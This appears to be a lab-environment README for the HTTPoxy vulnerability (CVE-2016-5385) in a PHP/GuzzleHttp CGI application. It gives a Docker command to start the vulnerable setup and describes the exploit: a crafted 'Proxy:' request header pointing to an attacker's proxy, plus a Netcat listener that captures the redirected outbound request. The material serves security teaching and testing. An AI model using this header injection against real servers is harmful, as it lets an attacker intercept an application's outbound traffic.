CGI Application Environment Variable Injection by HTTPoxy (CVE-2016-5385)

中文版本(Chinese version)

httpoxy is a set of vulnerabilities that affect application code running in CGI, or CGI-like environments. It comes down to a simple namespace conflict:

This leads to a remotely exploitable vulnerability. See https://httpoxy.org for further principles description.

CVE-2016-5385 is one of CVEs that assign for HTTPoxy, here are the full CVEs list:

Vulnerable environment

Execute following command to start a Web application depending on PHP 5.6.23 and GuzzleHttp 6.2.0.

docker compose up -d

This Web page get its origin IP address at http://httpbin.org/get:

At this moment, hostname IP is equal to original IP, no HTTP proxy.

Exploit

Send a request with a crafted HTTP header that contains a available HTTP proxy address: Proxy: http://*.*.122.65:8888/:

It is obvious that the original address in the response has become the IP address of the proxy server.

Start a Netcat server at the *.*.122.65 instead of HTTP proxy, we can capture the original request: